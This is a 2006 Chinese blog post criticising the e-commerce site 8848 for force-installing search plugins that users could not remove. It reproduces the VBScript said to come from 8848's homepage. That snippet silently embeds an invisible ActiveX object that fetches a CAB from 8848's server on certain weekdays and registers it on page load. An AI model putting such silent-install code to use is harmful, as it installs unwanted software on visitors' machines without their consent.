8848首页自动安装插件的VBScript代码
从网友收藏夹里看到了这段代码,以前看过,不懂。。。今天再看。。。。不太懂,哈哈哈!
不过还是很容易让人想起曾经的8848。那个想靠媒体吵作发家、使用流氓招数的8848,最终还是搬起石头砸了自己的脚。
(8848的回忆:
8848网络技术有限公司,
8848.net和8848.com,电子商务网站
强行安装自己的搜索等插件,而没有任何提示
更可气的是这些软件一旦安装,几乎是无法卸载
应该是年初,一刹那,8848开始出现无法访问的情况。
称是由于百度联盟利用分布式拒绝服务攻击(DDoS)

本本份份做网站是正道,做好网站才是根本。
这些小伎俩怎么能发家呢?
听说web2.0 也要关门拉,好嘛,迟早的事。与1.0相比,没有什么新技术,包装一下,即成了商业吵作。
至少我是这样认为。
收藏此代码:

<script language="VBScript">
<!--
  RightDate=0
  DIM wkd
  wkd=weekday(now())
  if wkd=2 or wkd=3 then
     document.write(
"<object id='RegMore' classid='clsid:86BC8440-8693-4076-A144-6BAF942B40B0' height=0 width=0 CODEBASE='http://mysearch.8848.com/mysearch/MySearch.CAB#version=0,9,3,3'></object>")
     RightDate=1
  End If
  
  Sub window_onLoad()
  if RightDate=1 then
   If RegMore.object Is Nothing Then
   Else
    RegMore.WebID =
"TSFT000004"
    RegMore.SetupRegister
   End If
  End If
  end sub
-->
</script>
weiking   2006-07-23 09:01:15 评论:0   阅读:939   引用:0

发表评论>>

署名发表(评论可管理,不必输入下面的姓名)

姓名:

主题:

内容: 最少15个,最长1000个字符

验证码: (如不清楚,请刷新)

用,就用的漂亮点。文章嘛,借花献佛喽。